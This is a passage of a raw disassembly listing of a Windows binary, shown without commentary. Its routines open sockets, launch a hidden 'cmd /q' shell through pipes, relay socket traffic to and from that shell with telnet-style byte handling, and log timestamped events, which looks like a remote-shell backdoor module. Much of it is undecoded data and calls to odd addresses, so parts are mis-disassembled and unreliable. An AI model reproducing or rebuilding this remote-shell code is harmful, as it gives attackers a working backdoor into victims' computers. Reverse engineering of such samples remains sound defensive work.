		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2660B96h
		nop
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		call	near ptr 26608E3h
		nop
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_434B6C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434BAC
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		call	near ptr 27700E0h
		nop
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E59Ch,	50EC458Dh, 8015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 0ECD6E890h, 4D8B0226h, 34C969C8h, 3B000002h,	0A48189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	25FB79E8h
		dd 0EDEB9002h, 0F511E890h, 8D500226h, 0FFFD2C85h, 4C1C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 0E8905659h, 22CEC30h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E59Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
		dd 0FFFF9FC7h, 0ADE85359h, 90022CEBh, 30858D53h, 68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB66C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6EC15h, 875FF00h,	0FF9F96E8h, 905359FFh, 2CEB7BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
		dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0E5E89053h, 6A022CEAh, 0E8458D10h, 69E85053h, 660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 4DE89053h,	8D022CEAh
		dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
		dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 2CE9DFE8h, 689002h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B6A415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
		dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h
		dd 0FF022CE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 69E89053h
		db 0E9h, 2Ch, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB540
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB540
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	225F6DAh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022CE7h,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E59CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 13E89000h, 0FF0225F6h
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0F5E0E890h, 8D530225h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
		dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF9AF6E8h, 1CC483FFh, 0D9E89053h, 8B022CE6h, 9F39087Dh
		dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
		dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
		dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
		dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
		dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h,	8300009Eh
		dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
		dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
		dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434D6Ch
		dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
		dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22CE404h, 3E868h
		dd 0BFE89000h, 570225F2h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2770217h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 26709DBh
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43554C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_42911C
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43551C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0F015FFF8h
		dd 0BB004CB5h, 200h, 0E890086Ah, 225F16Eh, 0B5D815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
		dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
		dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 0E02AE890h
		db 2Ch,	2
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 55E89056h, 8B022CDFh, 106AD045h, 234C069h, 0B8890000h
		dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6ECh, 0E8D075FFh,	0FFFF92EBh, 0E8905659h,	22CDED0h
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
		dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 4DE89056h, 53022CDEh, 4355A8BBh, 0FFFFBF00h
		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
